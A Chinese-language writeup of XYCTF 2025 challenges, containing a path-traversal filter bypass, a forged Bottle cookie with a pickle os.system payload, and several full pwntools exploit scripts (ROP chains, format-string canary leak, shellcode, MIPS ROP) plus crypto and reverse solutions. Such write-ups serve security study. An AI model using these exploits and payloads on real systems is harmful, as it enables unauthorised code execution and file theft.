XYCTF 2025

UKFC 2025 XYCTF Writeup

Web

Signin

源代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# -*- encoding: utf-8 -*-
'''
@File    :   main.py
@Time    :   2025/03/28 22:20:49
@Author  :   LamentXU 
'''
'''
flag in /flag_{uuid4}
'''
from bottle import Bottle, request, response, redirect, static_file, run, route
with open('../../secret.txt', 'r') as f:
    secret = f.read()

app = Bottle()
@route('/')
def index():
    return '''HI'''
@route('/download')
def download():
    name = request.query.filename
    if '../../' in name or name.startswith('/') or name.startswith('../') or '\\' in name:
        response.status = 403
        return 'Forbidden'
    with open(name, 'rb') as f:
        data = f.read()
    return data

@route('/secret')
def secret_page():
    try:
        session = request.get_cookie("name", secret=secret)
        if not session or session["name"] == "guest":
            session = {"name": "guest"}
            response.set_cookie("name", session, secret=secret)
            return 'Forbidden!'
        if session["name"] == "admin":
            return 'The secret has been deleted!'
    except:
        return "Error!"
run(host='0.0.0.0', port=8080, debug=False)

/:主路由,返回 HI

/download:下载任意文件,但有一定过滤

/secret:判断 cookie 是 admin 还是其他,admin 则返回’The secret has been deleted!’,其他则返回’Forbidden!'

先在/download 下获取 secret.txt,因为过滤的不完全,我们可以通过./隔开../来获取

/download?filename=./.././../secret.txt

获取密钥为 Hell0_H@cker_Y0u_A3r_Sm@r7

接下来应该要伪造 admin 的 cookie,这里因为使用了 bottle 模块,这里是 bottle-0.13,根据更新已知其中存在 pickle 反序列化漏洞

原始的 cookie 的 name 值:!4SSvdzbD0UYv84Lnpmm1VLtPBddCrvhgQOLkNQbhjek=?gAWVGQAAAAAAAABdlCiMBG5hbWWUfZRoAYwFZ3Vlc3SUc2Uu

根据 get_cookie 函数:

确定了 cookie 的格式,其中有 pickle 反序列化

cookie 的格式:pickle 序列化后使用密钥进行 sha256 加密生成 base64 格式的签名,"!+{签名}+?+{数据}"

pickle 序列化构造代码:(需要在 linux 环境中运行)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
import base64
import pickle
import os

class Test:
    def __reduce__(self):
        return (os.system, ("ls / >lss.txt",))
def object():
    object = Test()
    data = {
        'evil_data': object
    }
    return data

test = Test()
a = pickle.dumps(test)
b=base64.b64encode(a)
print(b)

其结果为 gASVKgAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjA9scyAvID4gL2xzcy50eHSUhZRSlC4=

用已知的密钥进行 sha256 加密,得到签名:2jKMFEOWf73NL1W2eYJ8t0kfmB0+Hdpd4tXIPV8NHFQ=

将其构成 cookie:

Cookie: name="!2jKMFEOWf73NL1W2eYJ8t0kfmB0+Hdpd4tXIPV8NHFQ=?gASVKgAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjA9scyAvID4gL2xzcy50eHSUhZRSlC4="

然后发包

利用/download 路由读取 ls.txt 文件

/download?filename=./.././../lss.txt

再读取 flag 文件

/download?filename=./.././../flag_dda2d465-af33-4c56-8cc9-fd4306867b70

得到 flag

flag{We1c0me_t0_XYCTF_2o25!The_secret_1s_L@men7XU_L0v3_u!}

ez_puzzle

连点 f12 卡出开发者工具

将源代码中的文件放在本地,在本地运行此网站

在 js 文件中找可疑点,不断尝试,发现有个 checkiffinish 函数,return imageIndexForPosition,盲猜 rangeindexposition 给图片随机定位跟这个变量有关,找 imageIndexForPosition 的引用,发现有赋值点,将赋值点改为下图的值

运行网站后略微修改一下拼图即可弹出 flag

flag{Y0u__aRe_a_mAsteR_of_PUzZL!!@!!~!}

Pwn

Ret2libc’s Revenge

  • 题目主函数实现了类似 gets 函数功能,可以 stack 溢出

    • 但是若果将垃圾数据全部填为相同的是不能实现溢出,不知为何
    • 通过尝试发现垃圾数据填充为这样 payloda = b"\x11"*(0x200) + b"\x22"*0x20 + b"\x33"*0x3 + p64(target_addr)即可,关键应该在 0x210 左右
  • 需要 leak 出 libc 基地址,但是发现交互没有回显,注意到 init 函数中,设置 stdout 为全缓冲,所以首先要填满缓冲区,重复执行 main 函数通过唯一的 puts 函数填满

  • 程序设计过于简短,有且仅有一条 pop;ret,mov 也只有一条有效 gadget,如下,但目标是控制 rdi,通过 puts 得到 libc_base,只能通过 rsi 来间接控制,但是 rsi 又无法直接控制,经实践发现,先将 rsi 清零,然后通过 rbp 控制,注意到 magic 中是 esi,但由于没有 PIE,elf 文件相关地址都是 4 字节,可以控制,寻找到 0x400490 上放着标准输入地址,通过上述四条 gadget 配合可以控制 rdi 为 libc 相关地址,payload 如下:
1
2
0x000000000040117d: pop rbp; ret; 
0x0000000000401180: mov rdi, rsi; ret;
1
2
0x00000000004010ec: add esi, dword ptr [rbp + 0x20]; ret;<----------magic1
0x00000000004010e4: and rsi, 0; ret;<-------------------------------magic2
1
2
3
4
5
6
7
92:0490│  0x400490 —▸ 0x404060 (stdout@GLIBC_2.2.5) —▸ 0x7ffff7e1b780 (_IO_2_1_stdout_) ◂— 0xfbad2884
93:0498│  0x400498 ◂— 8
94:04a0│  0x4004a0 ◂— 0x1a00110000002d /* '-' */
95:04a8│  0x4004a8 —▸ 0x404070 (stdin@GLIBC_2.2.5) —▸ 0x7ffff7e1aaa0 (_IO_2_1_stdin_) ◂— 0xfbad208b
96:04b0│  0x4004b0 ◂— 8
97:04b8│  0x4004b8 ◂— 0x1a001100000033 /* '3' */
98:04c0│  0x4004c0 —▸ 0x404080 (stderr@GLIBC_2.2.5) —▸ 0x7ffff7e1b6a0 (_IO_2_1_stderr_) ◂— 0xfbad2084
1
2
payload1=  b"\x11"*(0x200) + b"\x22"*0x20 + b"\x33"*0x3 + p64(pop_rbp_ret) + p64(0x400490-0x20)
payload1+= p64(rsi_0_ret) + p64(magic1) + p64(magic2) + p64(elf.plt["puts"]) + p64(main
  • 输出缓冲区大小是 01:0008│ 0x4056a8 ◂— 0x411,加上 leak 的地址,大概循环 49 次左右,可以填满溢出

  • 最后本地不能 system,参数正确,stack 对齐,执行到 system,但确实 getshell 失败,没有细调,因此选择 orw

  • 这题打本地和打远程差的比较多

    1. 本地只需要 49 次循环即可填满,但是远程要 200 次,而且是小概率填满溢出,由于没有回显,只能一次一次尝试,同时需要使用 sleep 函数,而且循环次数不能过大,如 300 次,会出现不知名错误,导致直接程序崩掉
    2. orw 的话 write 泄露的数据长度需要 0x411 往上,最开始尝试只 write 0x100 长度,发现拿不到 flag,意识到后改成 0x500,只要上面能填满缓冲区得到 libc_base 一次就可以拿到 flag
    3. 远程 exp 和本地 exp 不同:
      1. 远程的脚本循环必须要 150 次往上,但是本地 150 次程序就崩溃了,同时也不需要 sleep,需要改掉循环次数
      2. 远程 write 必须要 0x411 往上,本地没有要求

远程 exp 如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
#!/usr/bin/env python3

from pwn import *

context(arch = "amd64" , os = "linux" , log_level = "debug")

#io = process("./attachment")
io = remote("47.94.103.208",24599)
#io = remote("39.106.48.123",43714)
#io = remote("localhost",9999)
'''
io = gdb.debug("./attachment","""decompiler connect ida --host 192.168.132.84 --port 3662
                                b *0x401261
                                ignore 1 39
                                c
                                """)
'''
elf = ELF("./attachment")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
#0x000000000040117d: pop rbp; ret; 
#0x0000000000401180: mov rdi, rsi; ret; 
#0x00000000004010ec: add esi, dword ptr [rbp + 0x20]; ret;
#0x00000000004010e4: and rsi, 0; ret;
'''
92:0490│  0x400490 —▸ 0x404060 (stdout@GLIBC_2.2.5) —▸ 0x7ffff7e1b780 (_IO_2_1_stdout_) ◂— 0xfbad2884
93:0498│  0x400498 ◂— 8
94:04a0│  0x4004a0 ◂— 0x1a00110000002d /* '-' */
95:04a8│  0x4004a8 —▸ 0x404070 (stdin@GLIBC_2.2.5) —▸ 0x7ffff7e1aaa0 (_IO_2_1_stdin_) ◂— 0xfbad208b
96:04b0│  0x4004b0 ◂— 8
97:04b8│  0x4004b8 ◂— 0x1a001100000033 /* '3' */
pwndbg>
98:04c0│  0x4004c0 —▸ 0x404080 (stderr@GLIBC_2.2.5) —▸ 0x7ffff7e1b6a0 (_IO_2_1_stderr_) ◂— 0xfbad2084
'''

for i in range(160):
    payload =  b"\x11"*(0x200) + b"\x22"*0x20 + b"\x33"*0x3 + p64(elf.sym["main"])
    payload =  b"\x11"*(0x200) + b"\x22"*0x20 + b"\x33"*0x3 + p64(0x000000000040117d) + p64(0x400490-0x20)
    payload += p64(0x00000000004010e4) + p64(0x00000000004010ec) + p64(0x0000000000401180) + p64(elf.plt["puts"])
    payload += p64(elf.sym["main"])
    success(i)
    sleep(0.2)
    io.sendline(payload)



io.recvuntil(b"Ret2libc's Revenge\x0a")
libc_base = u64(io.recvn(6).ljust(8,b"\x00")) - 0x3ad780 + 0x192000
#libc_base = 0x7ffff7c00000
success(f"libc_base => {hex(libc_base)}")
sleep(1)
rdi = libc_base + 0x000000000002a3e5
bin_sh = libc_base + next(libc.search("/bin/sh"))
system  = libc_base + libc.sym["system"]
rdi = libc_base + 0x000000000002a3e5
rsi = libc_base + 0x000000000002be51
rdx = libc_base + 0x000000000011f2e7
read= libc_base + libc.sym["read"]
write=libc_base + libc.sym["write"]
open_=libc_base + libc.sym["open"]
orw =  p64(rdi) + p64(0) + p64(rsi) + p64(0x404000) + p64(rdx) + p64(0x10)*2 + p64(read)
orw += p64(rdi) + p64(0x404000) + p64(rsi) + p64(0) + p64(open_)
orw += p64(rdi) + p64(3) + p64(rsi) + p64(0x404000) + p64(rdx) + p64(0x500)*2 + p64(read)
orw += p64(rdi) + p64(1) + p64(rsi) + p64(0x404000) + p64(rdx) + p64(0x500)*2 + p64(write)

payload2 = b"\x11"*(0x200) + b"\x22"*0x20 + b"\x33"*0x3 + orw#+  p64(rdi) + p64(bin_sh) + p64(system)



#success(f"rdi   => {hex(rdi)}")
#gdb.attach(io,"b *0x401261")
#pause()
io.sendline(payload2)
sleep(1)
io.sendline(b"flag\x00")
io.interactive()

明日方舟寻访模拟器

  • 溢出有限,刚好可以控制一参,使用代码段中 system 方可绕过栈对齐问题

exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#!/usr/bin/env python3

from pwn import *

context(arch = "amd64" , os = "linux" , log_level = "debug")

#io = process("./pwwn")
io = remote("47.94.172.18",32784)
#io = gdb.debug("./pwwn","""decompiler connect ida --host 192.168.132.84 --port 3662
#                            b *0x401877
#                            c""")
elf =ELF("pwwn")
def char():
    sleep(0.1)
    io.send(b"\x0a")

def employ(choice,num):
    if choice == 3:
        io.sendlineafter("请选择:[1]单抽 [2]十连 [3]自定义数量 [4]结束抽卡".encode(),str(choice).encode())
        io.sendlineafter("请输入寻访次数:".encode(),str(num).encode())
    else:
        io.sendlineafter("请选择:[1]单抽 [2]十连 [3]自定义数量 [4]结束抽卡".encode(),str(choice).encode())
    char()

char()
employ(3,10000)
employ(3,10000)
employ(3,5000)
employ(3,0x6cb)

employ(4,0)
io.sendlineafter("请选择:[1]向好友炫耀 [2]退出".encode(),str(1).encode())
payload = b"\x11"*0x40 + p64(3) + p64(0x00000000004018e5) + p64(0x405BCC) + p64(0x4018FC)#p64(elf.sym["system"])
#payload = b"\x11"*0x40 + p64(0) + p64(0x000000000040199c) + p64(0x405018) + p64(elf.plt["puts"])
#gdb.attach(io,"""decompiler connect ida --host 192.168.132.84 --port 3662
#                     set follow-fork-mode parent""")
io.sendlineafter("请输入你的名字:".encode(),payload)

#gdb.attach(io,"decompiler connect ida --host 192.168.132.84 --port 3662")

io.interactive()

girlfriend

  • 记不清了

Exp:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
#!/usr/bin/env python3

from pwn import *

context(arch = "amd64" , os = "linux" , log_level = "debug")

#io = process("./girlfriend")
io = remote("47.93.96.189",28692)
'''
io = gdb.debug("./girlfriend",""" decompiler connect ida --host 192.168.132.84 --port 3662
                                    b *0x555555554000+0x164C
                                    c
                                    c
                                    ni
                                    b *0x555555554000+0x1777
                                    c

                                    c
                                    
                                    c
                                    
                                    c

                                    c
                                    c""")
'''
#choice1 printf

elf                         = ELF("./girlfriend")
libc                        = ELF("/lib/x86_64-linux-gnu/libc.so.6")

def mune(choice):
    io.sendlineafter(b"Your Choice:",str(choice).encode())

def func1(buf):
    mune(1)
    if len(buf) < 0x50:
        io.sendlineafter(b"what do you want to say to her?",buf)
    else:
        io.sendafter(b"?",buf)

def func3(buf):
    mune(3)
    if len(buf) < 0x100:
        io.sendlineafter(b"You should tell her your name first",buf)
    else:
        io.sendafter(b"You should tell her your name first",buf)

func1(b"A"*7)
io.recvuntil(b"AAAAAAA\x0a")
#libc_base                   =  u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00")) - 0x43654
libc_base                   = u64(io.recvn(6)[-6:].ljust(8,b"\x00")) - 0x43654
payload0                    =  b"\x00"*0x40
func3(payload0)

func1(b"A"*(0x18-1-1)+b"B")
io.recvuntil(b"AB\x0a")
elf_base                    =  u64(io.recvn(6).ljust(8,b"\x00")) - 0x15c7
#stack_base                 =  u64(io.recvn(6).ljust(8,b"\x00")) - 0x20078 - 0x10
payload1                    =  b"%" + str(0x23).encode() + b"$p"
payload1                    =  payload1.ljust(0x40,b"\x00")
func3(payload1)
io.recvuntil(b"0x")
canary                      =  int(io.recvn(16),16)

payload2                    =  b"\x11"*0x38 + p64(canary)*2 + p64(elf_base+0x181C)
func1(payload2)

func3(payload0)
func1(b"A"*(0x20-1-1)+b"B")
io.recvuntil(b"AB\x0a")
stack_base                  =  u64(io.recvn(6).ljust(8,b"\x00")) - 0x20078 - 0x10 - 0xb0
rdi                         =  libc_base + 0x000000000002a3e5 
rsi                         =  libc_base + 0x000000000002be51
rdx                         =  libc_base + 0x000000000011f2e7
mprotect                    =  libc_base + libc.sym["mprotect"]
read                        =  libc_base + libc.sym["read"]
bss_addr                    =  elf_base + 0x4060 + 0x40
bss_addr2                   =  (bss_addr>>12)<<12
payload3                    =  payload0
payload3                    += p64(rdi) + p64(bss_addr2) + p64(rsi) + p64(0x10000)
payload3                    += p64(rdx) + p64(7)*2 + p64(mprotect)
payload3                    += p64(rdi) + p64(0) + p64(rsi) + p64(bss_addr2)
payload3                    += p64(rdx) + p64(0x100)*2 + p64(read) + p64(bss_addr2)
func3(payload3)

leave_ret                   =  libc_base + 0x000000000004da83
bss_addr                    =  elf_base + 0x4060 + 0x40
payload4                    =  flat({
        0:                  0,
        0x38:               p64(canary),
        0x40:               p64(bss_addr-0x8),
        0x48:               p64(leave_ret)

    },filler = b"\x00")
func1(payload4)

sleep(0.1)
shellcode                   =  shellcraft.openat(-100, "flag", 0)
shellcode                   += shellcraft.mmap(bss_addr2+0x100,0x1000,1,0x2,3,0)
shellcode                   += shellcraft.write(1,'rax',0x100)
payload5 = asm(shellcode)
io.sendline(payload5)

success(f"elf_base          => {hex(elf_base)}")
success(f"canary            => {hex(canary)}")
success(f"stack_base        => {hex(stack_base)}")
success(f"libc_base         => {hex(libc_base)}")

io.interactive()

Nailong

  • 爆破 rbp 地址
    • stack 上关键数据与 rbp 的偏移固定,但是与 stack_base 偏移不固定

exp:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
#!/usr/bin/env python3

from pwn import *

context(arch = "amd64" , os = "linux" , log_level = "debug")

#io = process("./nailong")
#io = remote("47.93.96.189",30808)
'''
io = gdb.debug("./nailong","""decompiler connect ida --host 192.168.132.84 --port 3662
                            b *0x401A6E
                            c
                            b *0x401A20
                            
                            b *0x401B8E
                            """)
'''
#write_func                 0x401A20
#read_func                  0x401A6E
#leave_ret                  0x401B8E
elf                         = ELF("./nailong")
libc                        = ELF("/lib/x86_64-linux-gnu/libc.so.6")
#io.recvuntil(b"rbp + offset:")
#stack_base_0                = int(io.recv(15),10)
#stack_base                  =  (((stack_base_0)>>12)<<12) - 0x1e000
#stack_base                  =  0x7ffffffde000
#success(f"stack_base        => {hex(stack_base)}")
#success(f"stack_base_0      => {hex(stack_base_0)}")
#io.sendlineafter("xiao_peng_you_ni_zhi_dao_wo_yao_qu_ji_lou_ma".encode(),str(-2).encode())

def mune(choice):
    io.sendlineafter(b"sh",str(choice).encode())

def write_func(addr):
    mune(1)
    io.sendlineafter(b"what you want do?",str(addr).encode())

def read_func(addr,content):
    mune(2)
    io.sendafter(b"do?",str(addr).encode())
    if len(content) < 4:
        io.sendlineafter(b"read you want",content)
    else:
        io.sendafter(b"read you want",content)

def pwwn():
    write_func(0x404140)
    #libc_base                   = u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00")) - 0x21b780
    io.recvuntil(b"\x0a")
    libc_base                   = u64(io.recvn(6).ljust(8,b"\x00")) - 0x21b780
    open_func                   = libc_base + libc.sym["open"]
    environ                     = libc_base + libc.sym["__environ"]
    sleep                       = elf.got["sleep"]
    main                        = 0x4017CF
    v17_addr                    = rbp_base - 0x8044
    v16_addr                    = rbp_base - 0x8048
    ret_base                    = rbp_base + 0x8
    success(f"v17               => {hex(v17_addr)}")
    success(f"v16               => {hex(v16_addr)}")
    success(f"ret_base          => {hex(ret_base)}")
    success(f"libc_base         => {hex(libc_base)}")
    read_func(v17_addr,b"\xff"+b"\x00"*2+b"\xff")
    
    flag_addr                   = 0x404500
    read_func(flag_addr,b"flag")
    
    rdi                         =  libc_base + 0x000000000002a3e5
    rsi                         =  libc_base + 0x000000000002be51
    rdx                         =  libc_base + 0x000000000011f2e7
    open_                       =  libc_base + libc.sym["open"]
    read                        =  libc_base + libc.sym["read"]
    write                       =  libc_base + libc.sym["write"]
    
    payload                     =  p64(rdi) + p64(flag_addr) + p64(rsi) + p64(0) + p64(open_)
    payload                     += p64(rdi) + p64(3) + p64(rsi) + p64(0x404500) + p64(rdx) + p64(0x100)*2
    payload                     += p64(read)
    payload                     += p64(rdi) + p64(1) + p64(rsi) + p64(0x404500) + p64(rdx) + p64(0x100)*2
    payload                     += p64(write)
    
    #read_func(ret_base,p64(rdi)[:4])
    #read_func(ret_base+4,p64(rdi)[4:])
    '''    
    gdb.attach(io,"""decompiler connect ida --host 192.168.132.84 --port 3662
                                b *0x401A6E
                                c
                                """)
    '''
    for i in range(0, len(payload), 4):
        chunk = payload[i:i+4]  
        read_func(ret_base+i,chunk)
    '''
    gdb.attach(io,"""decompiler connect ida --host 192.168.132.84 --port 3662
                                b *0x401B8E
                                c
                                """)
    '''
    read_func(v16_addr,p64(0xffffffff))
    #success(f"stack_base        => {hex(stack_base)}")
    #success(f"libc_base         => {hex(libc_base)}")



for i in range(1000):
    #io = process("./nailong")#,timeout = 0.5)
    io = remote("39.106.71.197",36971,timeout = 0.5)
    io.recvuntil(b"init...\x0a")
    io.recvuntil(b"rbp + offset:")
    rbp_base                    = int(io.recvn(15),10) - 0x50 - 0x192 + 0xed + 0x29 + 1
    #stack_base                  =  (((ret_base)>>12)<<12) - 0x1e000
    #stack_base                  =  0x7ffffffde000
    #success(f"stack_base        => {hex(stack_base)}")
    #rbp_base                    = 0x7fffffffdf50
    success(f"rbp_base          => {hex(rbp_base)}")
    io.sendlineafter("xiao_peng_you_ni_zhi_dao_wo_yao_qu_ji_lou_ma".encode(),str(-2).encode())
    try:
        success(i)
        pwwn()
        io.recvuntil(b"XY",timeout = 1)
        success(i)
    except EOFError:
        io.close()
        continue
    else :
        io.interactive()
        break
    



#success(f"stack_base        => {hex(stack_base)}")
#success(f"libc_base         => {hex(libc_base)}")
#io.interactive()

EZ3.0

  • 异架构-mips,利用 gadget 控制 a0,system 即可
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/usr/bin/env python3

from pwn import *

context(arch = "mips" , os = "linux" , log_level = "debug")

#io = process("qemu-mipsel -g 9002 -L /usr/mipsel-linux-gnu ./ez3.0",shell = True)
io = remote("39.106.48.123",37903)
#io = process("qemu-mipsel -L /usr/mipsel-linux-gnu ./ez3.0",shell = True)


#0x004008e0: lw $ra, 0x1c($sp); lw $fp, 0x18($sp); addiu $sp, $sp, 0x20; jr $ra; nop; 
#0x004009b4: lw $ra, 0x3c($sp); lw $fp, 0x38($sp); addiu $sp, $sp, 0x40; jr $ra; nop;
#0x400984 read
#cat flag.txt 0x411010
#bin/ls 0x400c88
main = 0x400830
ret = 0x04009C0
payload = p32(0x411010)*9 + p32(0x00400a20) + p32(0x411010) + p32(0x4009EC) + p32(0x411010)
payload = payload.ljust(0x60,b"\x11")
io.sendlineafter(b">",payload)
#io.sendlineafter(b">",payload)
#io.sendlineafter(b">",payload)
#io.sendlineafter(b">",payload)

io.interactive()

Crypto

Division

MT19937 随机,这里在选项一中全部除 1,得到 624 个随机数,将其转化为整数型后开始预测输出结果

终于当个人了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
import re #pwn的模块不熟悉,这里使用正则表达式对输出结果筛选
from randcrack import RandCrack #直接爆破
io =remote('47.93.96.189',22581)
num=[]
for i in range(624):
    io.sendlineafter(b': >>> ',b'1')
    io.sendlineafter(b'input the denominator: >>> ',b'1')
    result=io.recvline()
    match = re.search(rb'=\s*(\S+)', result)
    num.append(match.group(1))
rc=RandCrack()
for j in range(624):
    rc.submit(int(num[j].decode('utf-8')))
a=rc.predict_getrandbits(11000)
b=rc.predict_getrandbits(10000)
ans=a//b
io.sendlineafter(b': >>> ',b'2')
io.sendlineafter(b'input the answer: >>> ',str(ans).encode('utf-8'))
c=io.recvline() #纯占位
d=io.recvline()
print(d) #输出flag
#XYCTF{d63a90be-a59c-4527-a115-3eba4eb63d4a}

结果,XYCTF{d63a90be-a59c-4527-a115-3eba4eb63d4a}

Complex_signin

明文 m 是复数,解出它的实部和虚部就能解出 flag

设 m=a+bi,则加密式子为

其中 e=3,这是个很小很小的公钥,很不正常(bushi), 能直接手算出来

设 ,则加密式子变为

根据题目中快速幂的实现代码,可以看到复数取整数模时,实部和虚部分开分别取模

所以就可以得到一个方程组

已知 c 的实部和虚部,m 的实部和虚部的高位,两个未知数,两个式子,这其实是二元 CopperSmith

从网上搜一个二元 CopperSmith 脚本(https://unborracho.github.io/2023/04/03/coppersmith%E4%BA%8C%E5%85%83/index.html)

写脚本解出即可

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
#sage
from sage.all import *
import itertools
from Crypto.Cipher import ChaCha20
import hashlib

def small_roots(f, bounds, m=1, d=None):
    if not d:
        d = f.degree()

    R = f.base_ring()
    N = R.cardinality()

    f /= f.coefficients().pop(0)
    f = f.change_ring(ZZ)

    G = Sequence([], f.parent())
    for i in range(m + 1):
        base = N ^ (m - i) * f ^ i
        for shifts in itertools.product(range(d), repeat=f.nvariables()):
            g = base * prod(map(power, f.variables(), shifts))
            G.append(g)

    B, monomials = G.coefficient_matrix()
    monomials = vector(monomials)

    factors = [monomial(*bounds) for monomial in monomials]
    for i, factor in enumerate(factors):
        B.rescale_col(i, factor)

    B = B.dense_matrix().LLL()

    B = B.change_ring(QQ)
    for i, factor in enumerate(factors):
        B.rescale_col(i, 1 / factor)

    H = Sequence([], f.parent().change_ring(QQ))
    for h in filter(None, B * monomials):
        H.append(h)
        I = H.ideal()
        if I.dimension() == -1:
            H.pop()
        elif I.dimension() == 0:
            roots = []
            for root in I.variety(ring=ZZ):
                root = tuple(R(root[var]) for var in f.variables())
                roots.append(root)
            return roots

    return []



n = 24240993137357567658677097076762157882987659874601064738608971893024559525024581362454897599976003248892339463673241756118600994494150721789525924054960470762499808771760690211841936903839232109208099640507210141111314563007924046946402216384360405445595854947145800754365717704762310092558089455516189533635318084532202438477871458797287721022389909953190113597425964395222426700352859740293834121123138183367554858896124509695602915312917886769066254219381427385100688110915129283949340133524365403188753735534290512113201932620106585043122707355381551006014647469884010069878477179147719913280272028376706421104753
a_high = 3960604425233637243960750976884707892473356737965752732899783806146911898367312949419828751012380013933993271701949681295313483782313836179989146607655230162315784541236731368582965456428944524621026385297377746108440938677401125816586119588080150103855075450874206012903009942468340296995700270449643148025957527925452034647677446705198250167222150181312718642480834399766134519333316989347221448685711220842032010517045985044813674426104295710015607450682205211098779229647334749706043180512861889295899050427257721209370423421046811102682648967375219936664246584194224745761842962418864084904820764122207293014016
b_high = 15053801146135239412812153100772352976861411085516247673065559201085791622602365389885455357620354025972053252939439247746724492130435830816513505615952791448705492885525709421224584364037704802923497222819113629874137050874966691886390837364018702981146413066712287361010611405028353728676772998972695270707666289161746024725705731676511793934556785324668045957177856807914741189938780850108643929261692799397326838812262009873072175627051209104209229233754715491428364039564130435227582042666464866336424773552304555244949976525797616679252470574006820212465924134763386213550360175810288209936288398862565142167552
c_re = 5300743174999795329371527870190100703154639960450575575101738225528814331152637733729613419201898994386548816504858409726318742419169717222702404409496156167283354163362729304279553214510160589336672463972767842604886866159600567533436626931810981418193227593758688610512556391129176234307448758534506432755113432411099690991453452199653214054901093242337700880661006486138424743085527911347931571730473582051987520447237586885119205422668971876488684708196255266536680083835972668749902212285032756286424244284136941767752754078598830317271949981378674176685159516777247305970365843616105513456452993199192823148760
c_im = 21112179095014976702043514329117175747825140730885731533311755299178008997398851800028751416090265195760178867626233456642594578588007570838933135396672730765007160135908314028300141127837769297682479678972455077606519053977383739500664851033908924293990399261838079993207621314584108891814038236135637105408310569002463379136544773406496600396931819980400197333039720344346032547489037834427091233045574086625061748398991041014394602237400713218611015436866842699640680804906008370869021545517947588322083793581852529192500912579560094015867120212711242523672548392160514345774299568940390940653232489808850407256752
bits = 128


P.<x, y> = PolynomialRing(Zmod(n))

a = a_high + x
b = b_high + y
f1 = a**3 - 3*a*b**2 - c_re
f2 = 3*a**2*b - b**3 - c_im


ab = 2**bits
bb = 2**bits

roots = small_roots(f1, (ab, bb), m=3, d=4)

aa, ab = roots[0]
a = a_high + aa
b = b_high + ab




key = hashlib.sha256(str(a + b).encode()).digest()
cipher = ChaCha20.new(key=key, nonce=b'Pr3d1ctmyxjj')
enc = b'\x9c\xc4n\x8dF\xd9\x9e\xf4\x05\x82!\xde\xfe\x012$\xd0\x8c\xaf\xfb\rEb(\x04)\xa1\xa6\xbaI2J\xd2\xb2\x898\x11\xe6x\xa9\x19\x00pn\xf6rs- \xd2\xd1\xbe\xc7\xf51.\xd4\xd2 \xe7\xc6\xca\xe5\x19\xbe'
flag = cipher.decrypt(enc)
print(flag)

XYCTF{Welcome_to_XYCTF_Now_let_us_together_play_Crypto_challenge}

Re

WARMUP

vbs 逆向,文本打开。直接 python print,打出来有点抽象,大概就是一个标准 rc4。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
from Crypto.Cipher import ARC4
import base64
def rc4_decrypt(data, key1):     # 解密
    data = bytes.fromhex(data)  # 将十六进制的字符串转为字节数据
    key = bytes(key1, encoding='utf-8') # 将密钥转换为字节类型
    enc = ARC4.new(key)
    decrypted_data = enc.decrypt(data)
    res = decrypted_data.decode('utf-8')  # 将解密后的字节数据转为字符串
   
    return res
if __name__ == "__main__":
    data = '90df4407ee093d309098d85a42be57a2979f1e51463a31e8d15e2fac4e84ea0df622a55c4ddfb535ef3e51e8b2528b826d5347e165912e99118333151273cc3fa8b2b3b413cf2bdb1e8c9c52865efc095a8dd89b3b3cfbb200bbadbf4a6cd4'
    key = 'rc4key' 
    print('解密后:', rc4_decrypt(data, key))

题目要求 md5:flag{We1c0me_t0_XYCTF_2025_reverse_ch@lleng3_by_th3_w@y_p3cd0wn’s_chall_is_r3@lly_gr3@t_&_fuN!}

XYCTF{5f9f46c147645dd1e2c8044325d4f93c}

ezVM

长度 32,func 里面是用 AVX2 指令集的汇编,就是一个比较函数,重点看 sub_403935

特殊的 vm,a1 有 got 表赋值了很多函数,程序通过偏移定位处理函数

